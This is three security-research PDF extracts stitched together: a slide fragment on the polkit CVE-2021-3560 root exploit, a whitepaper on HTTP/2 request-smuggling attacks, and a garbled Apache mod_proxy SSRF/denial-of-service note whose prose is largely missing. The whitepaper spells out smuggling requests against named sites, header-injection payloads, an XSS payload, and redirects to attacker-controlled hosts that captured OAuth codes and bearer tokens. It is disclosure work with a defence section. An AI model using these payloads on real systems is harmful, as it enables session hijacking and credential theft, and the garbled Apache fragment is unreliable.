spoof as a root user $ whatis authentication_agent_response • Polkit provides an agent mechanism named authentication agent • An authentication agent should have root privilege (setuid) • After agent starts, it will register self to polkit, for handling incoming authentication requests • D-Bus service will invoke CheckAuthorization method if authentication is required, polkit will invoke BeginAuthentication of the agent • After authentication (e.g., user inputs password), agent will send AuthenticationAgentResponse2 to polkit • polkit checks the caller of the response message, and returns True/False of CheckAuthorization $ whatis authentication_agent_response nobody@test:~$ pkexec id ==== AUTHENTICATING FOR org.freedesktop.policykit.exec === Authentication is needed to run `/usr/bin/id' as the super user Authenticating as: root Password: polkit-agent-helper-1: pam_authenticate failed: Authentication failure ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized This incident has been reported. D-Bus Service PolicyKit Authentication Agent Client CheckAuthorization BeginAuthentication invoke methods acquire password AuthenticationAgentResponse2 $ ./CVE-2021-3560-polkit 1. Register a normal AuthenticationAgent 2. Response correction data for incoming authentication requests 3. Kill self after sending AuthenticationAgentResponse2 4. polkit will think the request is from a root user 5. CheckAuthorization will return True 6. Our action will be allowed $ ./CVE-2021-3560-polkit 0days are Hidden 活命要紧。可以尝试挖掘国产操作系统。 $ cat 'Attack Vendors Review' Attacker Client Service PolicyKit D-Bus Service Service Service Authentication - Method calls - Signals - Method calls - Signals Spoofed Signals Vulnerable methods polkit CVEs privileged area unprivileged area Q & A $ cat Reference • https://venam.nixers.net/blog/unix/2020/07/06/dbus- polkit.html • https://www.freedesktop.org/wiki/Software/dbus/ • https://pythonhosted.org/txdbus/dbus_overview.html • https://i.blackhat.com/EU-21/Wednesday/EU-21- Backhouse-Message-in-a-Broken-Bottle-Exploring-the- Linux-IPC-Attack-Surface.pdf
pdf
HTTP/2: The Sequel is Always Worse James Kettle - james.kettle@portswigger.net - @albinowax HTTP/2 is easily mistaken for a transport-layer protocol that can be swapped in with zero security implications for the website behind it. Two years ago, I presented HTTP Desync Attacks and kicked off a wave of request smuggling, but HTTP/2 escaped serious analysis. In this paper, I'll take you beyond the frontiers of existing HTTP/2 research, to unearth horrifying implementation flaws and subtle RFC imperfections. I'll show you how these flaws enable HTTP/2-exclusive desync attacks, with case studies targeting high- profile websites powered by servers ranging from Amazon's Application Load Balancer to WAFs, CDNs, and bespoke stacks by big tech. I'll demonstrate critical impact by hijacking clients, poisoning caches, and stealing plaintext passwords to net multiple max-bounties. One of these attacks remarkably offers an array of exploit-paths surpassing all known techniques. After that, I'll unveil novel techniques and tooling to crack open a widespread but overlooked request smuggling variant affecting both HTTP/1 and HTTP/2 that is typically mistaken for a false positive. Finally, I'll drop multiple exploit-primitives that resurrect a largely forgotten class of vulnerability, and use HTTP/2 to expose a fresh application-layer attack surface. I'll leave you with an open-source scanner with accurate automated detection, a custom, open-source HTTP/2 stack so you can try out your own ideas, and free interactive labs so you can hone your new skills on live systems. Outline HTTP/2 for Hackers Pseudo-Headers Binary Protocol Message Length HTTP/2 Desync Attacks H2.CL on Netflix H2.TE on Application Load Balancer H2.TE via Request Header Injection H2.X via Request Splitting H2.TE via Header Name Injection H2.TE via Request Line Injection Desync-Powered Request Tunnelling Confirmation Tunnel Vision Exploitation: Guessing Internal Headers Exploitation: Leaking Internal Headers Exploitation: Cache Poisoning HTTP/2 Exploit Primitives Ambiguity and HTTP/2 URL Prefix Injection Header Name Splitting Request Line Injection Header Tampering Wrap Essential Information Hidden HTTP/2 Connection Tooling Defence Further Reading Conclusion HTTP/2 for Hackers The first step to exploiting HTTP/2 is learning the protocol fundamentals. Fortunately, there's less to learn than you might think. I started this research by coding an HTTP/2 client from scratch, but I've concluded that for the attacks described in this paper, we can safely ignore the details of many lower-level features like frames and streams. Although HTTP/2 is complex, it's designed to transmit the same information as HTTP/1.1. Here's an equivalent request represented in the two protocols. HTTP/1.1: POST /login HTTP/1.1\r\n Host: psres.net\r\n User-Agent: burp\r\n Content-Length: 9\r\n \r\n x=123&y=4 HTTP/2: :method POST :path /login :authority psres.net :scheme https user-agent burp x=123&y=4 Assuming you're already familiar with HTTP/1, there are only three new concepts that you need to understand. Pseudo-Headers In HTTP/1, the first line of the request contains the request method and path. HTTP/2 replaces the request line with a series of pseudo-headers. The five pseudo-headers are easy to recognize as they're represented using a colon at the start of the name: :method - The request method :path - The request path. Note that this includes the query string :authority - The Host header, roughly :scheme - The request scheme, typically 'http' or 'https' :status - The response status code - not used in requests Binary Protocol HTTP/1 is a text-based protocol, so requests are parsed using string operations. For example, a server needs to look for a colon in order to know when a header name ends. The potential for ambiguity in this approach is what makes desync attacks possible. HTTP/2 is a binary protocol like TCP, so parsing is based on predefined offsets and much less prone to ambiguity. This paper represents HTTP/2 requests using a human- readable abstraction rather than the actual bytes. For example, on the wire, pseudo-header names are actually mapped to a single byte - they don't really contain a colon. Message Length In HTTP/1, the length of each message body is indicated via the Content-Length or Transfer-Encoding header. In HTTP/2, those headers are redundant because each message body is composed of data frames which have a built-in length field. This means there's little room for ambiguity about the length of a message, and might leave you wondering how desync attacks using HTTP/2 are possible. The answer is HTTP/2 downgrading. HTTP/2 Desync Attacks Request Smuggling via HTTP/2 Downgrades HTTP/2 downgrading is when a front-end server speaks HTTP/2 with clients, but rewrites requests into HTTP/1.1 before forwarding them on to the back-end server. This protocol translation enables a range of attacks, including HTTP request smuggling: Classic request smuggling vulnerabilities mostly occur because the front-end and back-end disagree about whether to derive a request's length from its Content-Length (CL), or Transfer-Encoding (TE) header. Depending on which way around this desynchronization happens, the vulnerability is classified as CL.TE or TE.CL. Front-ends speaking HTTP/2 almost always use HTTP/2's built-in message length. However, the back-end receiving a downgraded request doesn't have access to this data, and must use the CL or TE header. This leads to two main types of vulnerability: H2.TE and H2.CL. Case Studies We've now covered enough theory to start exploring some real vulnerabilities. To find these, I implemented automated detection in HTTP Request Smuggler, using an adapted version of the timeout-based H1-desync detection strategy1. Once implemented, I used this to scan my pipeline of websites with bug-bounty programs2. All the referenced vulnerabilities have been patched unless otherwise stated, and over 50% of the total bug-bounty earnings has been donated to local charities. The following section assumes the reader is familiar with HTTP Request Smuggling. If you find any of the explanations are insufficient, I recommend reading or watching HTTP Desync Attacks: Request Smuggling Reborn3, and tackling our Web Security Academy labs4. H2.CL Desync on Netflix Thanks to HTTP/2's data-frame length field, the Content-Length header is not required. However, the HTTP/2 RFC5 states that this header is permitted, provided it's correct. For our first case study, we'll target www.netflix.com, which used a front-end that performed HTTP downgrading without verifying the content- length. This enabled an H2.CL desync. To exploit it, I issued the following HTTP/2 request: :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar After the front-end downgraded this request to HTTP/1.1, it hit the back-end looking something like: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar Thanks to the incorrect Content-Length, the back-end stopped processing the request early and the data in orange was treated as the start of another request. This enabled me to add an arbitrary prefix to the next request, regardless of who sent it. The orange prefix was crafted to trigger a response redirecting the victim's request to my server at 02.rs: GET /anything HTTP/1.1 Host: www.netflix.com HTTP/1.1 302 Found Location: https://02.rs?x.netflix.com/n By redirecting JavaScript includes, I could compromise Netflix accounts, stealing passwords and credit card numbers. By running this attack in a loop I could gradually compromise all active users of the site, with no user-interaction. This severity is typical for request smuggling. Netflix traced this vulnerability through Zuul6 back to Netty7, and it's now been patched and tracked as CVE- 2021-212958. Netflix awarded their maximum bounty - $20,000. H2.TE Desync on Application Load Balancer Next up, let's take a look at a straightforward H2.TE desync. The RFC states any message containing connection-specific header fields MUST be treated as malformed One connection-specific header field is Transfer-Encoding. Amazon Web Services' (AWS) Application Load Balancer failed to obey this line, and accepted requests containing Transfer-Encoding. This meant that I could exploit almost every website using it, via an H2.TE desync. One vulnerable website was Verizon's law enforcement access portal, located at id.b2b.oath.com. I exploited it using the following request: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x= The front-end downgraded this request into: POST /identity/XUI/ HTTP/1.1 Host: id.b2b.oath.com Content-Length: 68 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x= This should look familiar - H2.TE exploitation is very similar to CL.TE. After downgrading, the 'transfer- encoding: chunked' header, which was conveniently ignored by the front-end server, takes priority over the frontend-inserted Content-Length. This made the back-end stop parsing the request body early and gave us the ability to redirect arbitrary users to my site at psres.net. When I reported this, the triager requested further evidence that I could cause harm, so I started redirecting live users and quickly found that I was catching people in the middle of an OAuth login flow, helpfully leaking their secret code via the Referer header: GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret Verizon awarded a $7,000 bounty for this finding. I encountered a similar vulnerability with a different exploit path on accounts.athena.aol.com - the CMS powering various news sites including the Huffington Post and Engadget. Here, I could once again issue an HTTP/2 request that, after being downgraded, hit the back-end and injected a prefix that redirected victims to my domain: POST /account/login HTTP/1.1 Host: accounts.athena.aol.com Content-Length: 104 Transfer-Encoding: chunked 0 GET /account/1/logout?next=https://psres.net/ HTTP/1.1 X-Ignore: X Once again, the triager wanted more evidence, so I took the opportunity to redirect some live users. This time, however, redirecting users resulted in a request to my server that effectively said "Can I have permission to send you my credentials?": OPTIONS / HTTP/1.1 Host: psres.net Access-Control-Request-Headers: authorization I hastily configured my server to grant them permission: HTTP/1.1 200 OK Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: authorization And received a beautiful stream of creds: GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhbGwiOiJIUzI1NiIsInR6cCI6Ik… This showcased some interesting browser behavior I'll need to explore later, and also netted another $10,000 from Verizon. I also reported the root vulnerability directly to Amazon, who have now patched Application Load Balancer so their customers' websites are no longer exposed to it. Unfortunately, they don't have a research-friendly bug bounty program. Every website using Imperva's Cloud WAF was also vulnerable, continuing a long history of web application firewalls making websites easier to hack. H2.TE via Request Header Injection As HTTP/1 is a plaintext protocol, it's impossible to put certain parsing-critical characters in certain places. For example, you can't put a \r\n sequence in a header value - you'll just end up terminating the header. HTTP/2's binary design, combined with the way it compresses headers, enables you to put arbitrary characters in arbitrary places. The server is expected to re-impose certain restrictions with an extra validation step: Any request that contains a character not permitted in a header field value MUST be treated as malformed Naturally, this validation step is skipped by many servers. One vulnerable implementation was the Netlify CDN, which enabled H2.TE desync attacks on every website based on it, including Firefox's start page at start.mozilla.org. I crafted an exploit that used '\r\n' inside a header value: :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x= During the downgrade, the \r\n triggered a request header injection vulnerability, introducing an extra header: Transfer-Encoding: chunked POST / HTTP/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 77\r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x= This triggered an H2.TE desync, with a prefix designed to make the victim receive malicious content from my own Netlify domain. Thanks to Netlify's cache setup, the harmful response would be saved and persistently served to anyone else trying to access the same URL. In effect, I could take full control over every page on every site on the Netlify CDN. This was awarded with $2,000 and $2,000 from Mozilla and Netlify respectively. H2.X via Request Splitting Atlassian's Jira looked like it had a similar vulnerability. I created a simple proof-of-concept intended to trigger two distinct responses - a normal one, and the robots.txt file. The actual result was something else entirely. To watch a video recording of the result, please refer to the online version of this whitepaper9. The server started sending me responses clearly intended for other Jira users, including a vast quantity of sensitive information and PII. The root cause was a small optimization I'd made when crafting the payload. I'd decided that instead of using \r\n to smuggle a Transfer-Encoding header, it'd be better to use a double-\r\n to terminate the first request, letting me directly include my prefix in the header: :method GET :path / :authority ecosystem.atlassian.net foo bar Host: ecosystem.atlassian.net GET /robots.txt HTTP/1.1 X-Ignore: x This approach avoided the need for chunked encoding, a message body, and the POST method. However, it failed to account for a crucial step in the HTTP downgrade process - the front-end must terminate the headers with \r\n\r\n sequence. This led to it terminating the prefix, turning it into a complete standalone request: GET / HTTP/1.1 Foo: bar Host: ecosystem.atlassian.net GET /robots.txt HTTP/1.1 X-Ignore: x Host: ecosystem.atlassian.net\r\n \r\n Instead of the back-end seeing 1.5 requests as usual, it saw exactly 2. I received the first response, but the next user received the response to my smuggled request. The response they should've received was then sent to the next user, and so on. In effect, the front-end started serving each user the response to the previous user's request, indefinitely. Req1 Resp1 Req2 Req3 Resp2 Req4 Resp3 Resp4 To make matters worse, some of these contained Set-Cookie headers that persistently logged users into other users' accounts. After deploying a hotfix, Atlassian opted to globally expire all user sessions. This potential impact is mentioned in Practical Attacks Using HTTP Request Smuggling10 by @defparam, but I think the prevalence is underestimated. For obvious reasons, I haven't tried it on many live sites, but to my understanding this exploit path is nearly always possible. So, if you find a request smuggling vulnerability and the vendor won't take it seriously without more evidence, smuggling exactly two requests should get them the evidence they're looking for. The front-end that made Jira vulnerable was PulseSecure Virtual Traffic Manager11. Atlassian awarded $15,000 - triple their max bounty. In addition to Netlify and PulseSecure Virtual Traffic Manager, this technique also predictably worked on Imperva Cloud WAF. H2.TE via Header Name Injection While waiting for PulseSecure's patch, Atlassian tried out a few hotfixes. The first one disallowed newlines in header values, but failed to filter header names. This was easy to exploit as the server tolerated colons in header names - something else that's impossible in HTTP/1.1: :method POST :path / :authority ecosystem.atlassian.net foo: bar transfer-encoding chunked GET / HTTP/1.1 foo: bar transfer-encoding: chunked host: ecosystem.atlassian.net H2.TE via Request Line Injection The initial hotfix also didn't filter pseudo-headers, leading to a request line injection vulnerability. Exploitation of these is straightforward, just visualize where the injection is happening and ensure the resulting HTTP/1.1 request has a valid request line: :method GET / HTTP/1.1 Transfer-encoding: chunked x: x :path /ignored :authority ecosystem.atlassian.net GET / HTTP/1.1 transfer-encoding: chunked x: x /ignored HTTP/1.1 Host: eco.atlassian.net The final flaw in the hotfix was the classic mistake of blocking '\r\n' but not '\n' by itself - the latter is almost always sufficient for an exploit. Desync-Powered Request Tunnelling Next up, let's take a look at something that's less flashy, less obvious, but still dangerous. During this research, I noticed one subclass of desync vulnerability that has been largely overlooked due to lack of knowledge on how to confirm and exploit it. In this section, I'll explore the theory behind it, then tackle these problems. Whenever a front-end receives a request, it has to decide whether to route it down an existing connection to the back-end, or establish a new connection to the back-end. The connection-reuse strategy adopted by the front-end can have a major effect on which attacks you can successfully launch. Most front-ends are happy to send any request down any connection, enabling the cross-user attacks we've already seen. However, sometimes, you'll find that your prefix only influences requests coming from your own IP. This happens because the front-end is using a separate connection to the back-end for each client IP. It's a bit of a nuisance, but you can often work around it by indirectly attacking other users via cache poisoning. Some other front-ends enforce a one-to-one relationship between connections from the client, and connections to the back-end. This is an even stronger restriction, but regular cache poisoning and internal header leaking techniques still apply. When a front-end opts to never reuse connections to the back-end, life gets really quite challenging. It's impossible to send a request that directly affects a subsequent request: This leaves one exploit primitive to work with: request tunnelling. This primitive can also arise from alternate means like H2C smuggling12, but this section will be focused on desync-powered tunnelling. Tunnelling Confirmation Detecting request tunneling is easy - the usual timeout technique works fine. The first true challenge is confirming the vulnerability - you can confirm regular request smuggling vulnerabilities by sending a flurry of requests and seeing if an early request affects a later one. Unfortunately, this technique will always fail to confirm request tunnelling, making it extremely easy to mistake the vulnerability for a false positive. We need a new confirmation technique. One obvious approach is to simply smuggle a complete request and see if you get two responses: POST / HTTP/1.1 Host: example.com Transfer-Encoding: chunked 0 GET / HTTP/1.1 Host: example.com HTTP/1.1 301 Moved Permanently Content-Length: 162 Location: /en <html><head><title>301 Moved… HTTP/1.1 301 Moved Permanently Content-Length: 162… Unfortunately, the response shown here doesn't actually tell us this server is vulnerable! Concatenating multiple responses is just how HTTP/1.1 keep-alive works, so we don't know whether the front-end thinks it's sending us one response (and is vulnerable) or two (and is secure). Fortunately, HTTP/2 neatly fixes this problem for us. If you see HTTP/1 headers in an HTTP/2 response body, you've just found yourself a desync: :method POST :path / :authority example.com transfer-encoding chunked 0 GET / HTTP/1.1 Host: example.com :status 301 location /en <html><head><title>301 Moved… HTTP/1.1 301 Moved Permanently Content-Length: 162… Tunnel Vision Thanks to a second problem, this approach doesn't always work. The front-end server often uses the Content- Length on the back-end's response to decide how many bytes to read from the socket. This means that even though you can make two requests hit the back-end, and trigger two responses from it, the front-end only passes you the first, less interesting response In the following example, thanks to the highlighted Content-Length, the 403 response shown in orange is never develivered to the user: POST /images/tiny.png HTTP/1.1 Transfer-Encoding: chunked 0 POST / HTTP/1.1 … HTTP/1.1 200 OK Content-Length: 7 content HTTP/1.1 403 … Sometimes, persistence can substitute for insight. Bitbucket was vulnerable to blind tunnelling, and after repeated efforts over four months, I found a solution by blind luck. The endpoint was returning a response so large that it made Burp Repeater lag slightly, so I decided to shorten it by switching my method from POST to HEAD. This was effectively asking the server to return the response headers, but omit the response body: HEAD /images/tiny.png HTTP/1.1 Transfer-Encoding: chunked 0 POST / HTTP/1.1 ... Sure enough, this led to the back-end serving only the response headers... including the Content-Length header for the undelivered body! This made the front-end over-read and serve up part of the response to the second, smuggled request: HTTP/1.1 200 OK Content-Length: 7 HTTP/1.1 403 … So, if you suspect a blind request tunnelling vulnerability, try HEAD and see what happens. Thanks to the timing-sensitive nature of socket reads, it might require a few attempts, and you'll find it's easier to read smuggled responses that get served quickly. Sometimes when HEAD fails, OPTIONS will work instead. Tunnelling Exploitation: Guessing Internal Headers Request tunnelling lets you hit the back-end with a request that is completely unprocessed by the front-end. The most obvious exploit path is to use this to bypass front-end security rules like path restrictions. However, you'll often find there aren't any relevant rules to bypass. Fortunately, there's a second option. Front-end servers often inject internal headers used for critical functions, such as specifying who the user is logged in as. Attempts to exploit these headers directly usually fail due to the front-end detecting and rewriting them. You can use request tunnelling to bypass this rewrite and successfully smuggle internal headers. There's one catch - internal headers are often invisible to attackers, and it's hard to exploit a header you don't know the name of. To help out, I've just released an update to Param Miner13 that adds support for guessing internal header names via request tunnelling. As long as the server's internal header is in Param Miner's wordlist, and causes a visible difference in the server's response, Param Miner should detect it. Tunnelling Exploitation: Leaking Internal Headers Custom internal headers that are not present in Param Miner's static wordlist or leaked in site traffic may evade detection. Regular request smuggling can be used to make the server leak its internal headers to the attacker, but this approach doesn't work for request tunnelling. Fortunately, if you can inject newlines in headers via HTTP/2, there's another way to discover internal headers. Classic desync attacks rely on making the two servers disagree about where the body of a request ends, but with newlines we can instead cause disagreement about where the body starts! To obtain the internal headers used by bitbucket, I issued the following request: :method POST :path /blog :authority bitbucket.org foo bar Host: bitbucket.wpengine.com Content-Length: 200 s=cow foo=bar After being downgraded, it looked something like: POST /blog HTTP/1.1 Foo: bar Host: bitbucket.wpengine.com Content-Length: 200 s=cow SSLClientCipher: TLS_AES_128 Host: bitbucket.wpengine.com Content-length: 7 foo=bar Can you see what I've done here? Both the front-end and back-end think I've sent one request, but they get confused about where the body starts. The front-end thinks 's=cow' is part of the headers, so it inserts the internal headers after that. This means the back-end ends up treating the internal headers as part of the 's' POST parameter I'm sending to Wordpress' search function... and reflects them back: <title>You searched for cowSSLClientCipher: TLS_AES_128_GCM_SHA256, version=TLSv1.3, bits=128Host: bitbucket.wpengine.comSSLSessionID: X-Cluster-Client-IP: 81.132.48.250Connection: Keep-Alivecontent- length: 7 Hitting different paths on bitbucket.org lead to my request being routed to different back-ends, and leaking different headers: :method PUT :path /!api/internal/snippets :authority bitbucket.org ... SSLClientCertStatus: NoClientCert X-Forwarded-For-Key: redacted-secret ... As we're only triggering a single response from the back-end, this technique works even if the request tunnelling vulnerability is blind. Tunnelling Exploitation: Cache Poisoning Finally, if the stars are aligned, you might be able to use tunnelling for an extra powerful variety of web cache poisoning. You need a scenario where you've got request tunnelling via H2.X desync, the HEAD technique works, and there's a cache present. This will let you use HEAD to poison the cache with harmful responses created by mixing and matching arbitrary headers and bodies. After a little digging, I found that fetching /wp-admin triggered a redirect which reflected user input inside the Location header without encoding it. By itself, this is completely harmless - the Location header doesn't need HTML encoding. However, by pairing it with response headers from /blog/404, I could trick browsers into rendering it, and executing arbitrary JavaScript: :method HEAD :path /blog/?x=dontpoisoneveryone :authority bitbucket.org foo bar Host: x GET /wp-admin?<svg/onload=alert(1)> HTTP/1.1 Host: bitbucket.wpengine.com HTTP/1.1 404 Not Found Content-Type: text/html X-Cache-Info: cached Content-Length: 5891 HTTP/1.1 301 Moved Permanently Location: https://bitbucket.org/wp-admin/?<svg/onload=alert(1)> Using this technique, after six months of working on an apparently-useless vulnerability, I gained persistent control over every page on bitbucket.org HTTP/2 Exploit Primitives Next up, let's take a look at some HTTP/2 exploit primitives. This section is light on full case-studies, but each of these is based on behavior I've observed on real websites, and will grant you some kind of foothold on the target. Ambiguity and HTTP/2 In HTTP/1, duplicate headers are useful for a range of attacks, but it's impossible to send a request with multiple methods or paths. HTTP/2's decision to replace the request line with pseudo-headers means this is now possible. I've observed real servers that accept multiple :path headers, and server implementations are inconsistent in which :path they process: :method GET :path /some-path :path /different-path :authority example.com Also, although HTTP/2 introduces the :authority header to replace the Host header, the Host header is technically still allowed. In fact, as I understand it, both are optional. This creates ample opportunity for Host-header attacks such as: :method GET :path / :authority example.com host attacker.com URL Prefix Injection Another HTTP/2 feature that it'd be amiss to overlook is the :scheme pseudo-header. The value of this is meant to be 'http' or 'https', but it supports arbitrary bytes. Some systems, including Netlify, used it to construct a URL, without performing any validation. This lets you override the path and, in some cases, poison the cache: :method GET :path /ffx36.js :authority start.mozilla.org :scheme http://start.mozilla.org/xyz? HTTP/1.1 301 Moved Permanently Location: https://start.mozilla.org/xyz?://start.mozilla.org/ffx36.js Others use the scheme to build the URL to which the request is routed, creating an SSRF vulnerability. Unlike the other techniques used in this paper, these exploits work even if the target isn't doing HTTP/2 downgrading. Header Name Splitting You'll find some servers don't let you use newlines in header names, but do allow colons. This only rarely enables full desynchronization, due to the trailing colon appended during the downgrade: :method GET :path / :authority redacted.net transfer-encoding: chunked GET / HTTP/1.1 Host: redacted.net transfer-encoding: chunked: It's better suited to Host-header attacks, since the Host is expected to contain a colon, and servers often ignore everything after the colon: :method GET :path / :authority example.com host: psres.net 443 GET / HTTP/1.1 Host: example.com Host: psres.net: 443 Request Line Injection I did find one server where header-name splitting enabled a desync. Mid-testing, the vulnerability disappeared and the server banner reported that they'd updated their Apache front-end. In an attempt to track down the vulnerability, I installed the old version of Apache locally. I couldn't replicate the issue, but I did discover something else. Apache's mod_proxy allows spaces in the :method, enabling request line injection. If the back-end server tolerates trailing junk in the request line, this lets you bypass block rules: <ProxyMatch "/admin"> Deny from all :method GET /admin HTTP/1.1 :path /fakepath :authority psres.net GET /admin HTTP/1.1 /fakepath HTTP/1.1 Host: internal-server And escape subfolders: ProxyPass http://internal-server.net:8080/public :method GET / HTTP/1.1 :path /fakepath :authority psres.net GET / HTTP/1.1 /public/fakepath HTTP/1.1 Host: internal-server I reported this to Apache, and it will be patched in 2.4.49 Header Tampering Wrap HTTP/1.1 once had a lovely feature called line folding, where you were allowed to put a \r\n followed by a space in a header value, and the subsequent data would be 'folded' up. Here's an identical request sent normally: GET / HTTP/1.1 Host: example.com X-Long-Header: foo bar Connection: close And using line folding: GET / HTTP/1.1 Host: example.com X-Long-Header: foo bar Connection: close The feature was later deprecated, but plenty of servers still support it. If you find a website with an HTTP/2 front-end that lets you send header names starting with a space, and a back-end that supports line-folding, you can tamper with other headers, including internal ones. Here's an example where I've tampered with the internal header request-id, which is harmless, but helpfully reflected by the back-end: :method GET :path / :authority redacted.net poison x user-agent burp GET / HTTP/1.1 Host: redacted.net Request-Id: 1-602d2c4b-7c9a1f0f7 poison: x User-Agent: burp … HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 3705 Request-Id: 1-602d2c4b-7c9a1f0f7 poison: x Many front-ends don't sort incoming headers, so you'll find that by moving the space-header around, you can tamper with different internal and external headers. Essential Information Before we wrap up, let's take a look at some of the pitfalls and challenges you're likely to encounter when exploiting HTTP/2. Hidden HTTP/2 As HTTP/2 and HTTP/1 share the same TCP port, clients need some way to determine which protocol to speak. When using TLS, most clients default to HTTP/1, and only use HTTP/2 if the server explicitly advertises support for HTTP/2 via the ALPN field during the TLS handshake. Some servers that support HTTP/2 forget to advertise this fact, leading to clients only speaking HTTP/1 with them, and hiding valuable attack surface. Fortunately, this is easy to detect - simply ignore the ALPN and try to send an HTTP/2 request regardless. You can scan for this scenario using HTTP Request Smuggler, Burp Scanner, or even curl: curl --http2 --http2-prior-knowledge https://github.ford.com/ Connection HTTP/2 puts a lot of effort into supporting multiple requests over a single connection. However, there are a couple of common implementation quirks to be wary of. Some servers treat the first request on each connection differently, which can lead to vulnerabilities appearing intermittent or even being missed entirely. On other servers, sometimes a request will corrupt a connection without causing the server to tear it down, silently influencing how all subsequent requests get processed. If you observe either of these problems, you can mitigate them using the 'Disable HTTP/2 connection reuse' option in Burp Repeater, and the requestsPerConnection setting in Turbo Intruder. Tooling The tooling situation is a mess. HTTP/2's binary format means you can't use classic general-purpose tools like netcat and openssl. HTTP/2's complexity means you can't easily implement your own client, so you'll need to use a library. Existing libraries don't give users the essential ability to send malformed requests. This rules out curl, too. To make this research possible, I coded my own stripped-down, open-source HTTP/2 stack from scratch. I've integrated this into Turbo Intruder - you can invoke it using engine=Engine.HTTP2. It takes HTTP/1.1- formatted requests as input, then rewrites them as HTTP/2. During the rewrite, it performs a few character mappings on the headers to ensure all the techniques used in this presentation are possible: ^ -> \r ~ -> \n ` -> : Turbo Intruder's HTTP/2 stack is not currently very tolerant of unusual server behavior. If you find it doesn't work on a target, I'd suggest trying Burp Suite's native HTTP/2 stack. This is more battle-tested, and you can invoke it from Turbo Intruder via Engine.BURP2. To help you scan for these vulnerabilities, I've released a major update to HTTP Request Smuggler. This tool found all the case studies mentioned in this paper. Finally, I've helped integrate support for these techniques directly into Burp Suite - for further information there, please refer to the documentation. Defence If you're setting up a web application, avoid HTTP/2 downgrading - it's the root cause of most of these vulnerabilities. Instead, use HTTP/2 end to end. If you're coding an HTTP/2 server, especially one that supports downgrading, enforce the charset limitations present in HTTP/1 - reject requests that contain newlines in headers, colons in header names, spaces in the request method, etc. Also, be aware that the specification isn't always explicit about where vulnerabilities may arise. Certain unmarked requirements, if skipped, will leave you with a functional server with a critical vulnerability. There are probably some hardening opportunities in the RFC, too. Web developers are advised to shed assumptions inherited from HTTP/1. It's historically been possible to get away without performing extensive validation on certain user inputs like the request method, but HTTP/2 changes this. Further Reading I've designed a Web Security Academy topic on this research, with multiple labs to help you consolidate your understanding and gain practical experience exploiting real websites. For an alternative perspective on HTTP/2 powered request smuggling, I recommend Emil Lerner's HTTP Request Smuggling via Higher HTTP Versions14. For a better explanation of HTTP Response Queue Poisoning, check out @defparam's Practical Attacks Using HTTP Request Smuggling15 Conclusion We've seen that HTTP/2's complexity has contributed to server implementation shortcuts, inadequate offensive tooling, and poor risk awareness. Through novel tooling and research, I've shown that many websites suffer from serious HTTP/2 request smuggling vulnerabilities thanks to widespread HTTP/2 downgrading. I've also shown that, aside from request smuggling, HTTP/2's power and flexibility enable a broad range of other attacks not possible with HTTP/1. Finally, I've introduced techniques that make request tunneling practical to detect and exploit, particularly in the presence of HTTP/2. References 1. https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn#detect 2. https://portswigger.net/research/cracking-the-lens-targeting-https-hidden-attack-surface 3. https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn 4. https://portswigger.net/web-security/request-smuggling 5. https://datatracker.ietf.org/doc/html/rfc7540 6. https://github.com/Netflix/zuul 7. https://netty.io/ 8. https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj 9. https://portswigger.net/research/http2-the-sequel-is-always-worse 10. https://youtu.be/3tpnuzFLU8g 11. https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44790/ 12. https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext- h2c 13. https://github.com/PortSwigger/param-miner 14. https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http- versions/ 15. https://youtu.be/3tpnuzFLU8g
pdf
apache 0x00 apachercepayloaddos 0x01 ProxyRequests On GET http://www.baidu.com HTTP/1.1 apache unix socket 48payload GET unix:/A*4096/aaa|http://www.baidu.com HTTP/1.1 48unix socket unix payload GET unix:/A*4096/aaa|aaa HTTP/1.1 httpd 0x02 coredumpapache coredump apachecoredump 1. ulimit -S -c unlimited 2. apache CoreDumpDirectory /var/apache_coredump 3. chown /var/apache_coredump apache anywaycoredump gdb httpd coredumpfilepath gdbbt proxy_util.c1746ap_proxy_get_worker_exstrchr strchrurlnullstrchr ap_proxy_de_socketfy unix:/dddd| strchrcNULLNULLNULLstrchr doshttpdhttpdfork 48ssrfdosssrfdos 0x03 ssrfrewrite RewriteRule ^/(.*) unix:/path|fcgi://localhost/$1 [P] ssrfrewrite unixunixsocketpathlimit nullnull notesudspathNULLelse elseworker->s->uds_pathnullworker ProxyPass xxxx worker worker
pdf
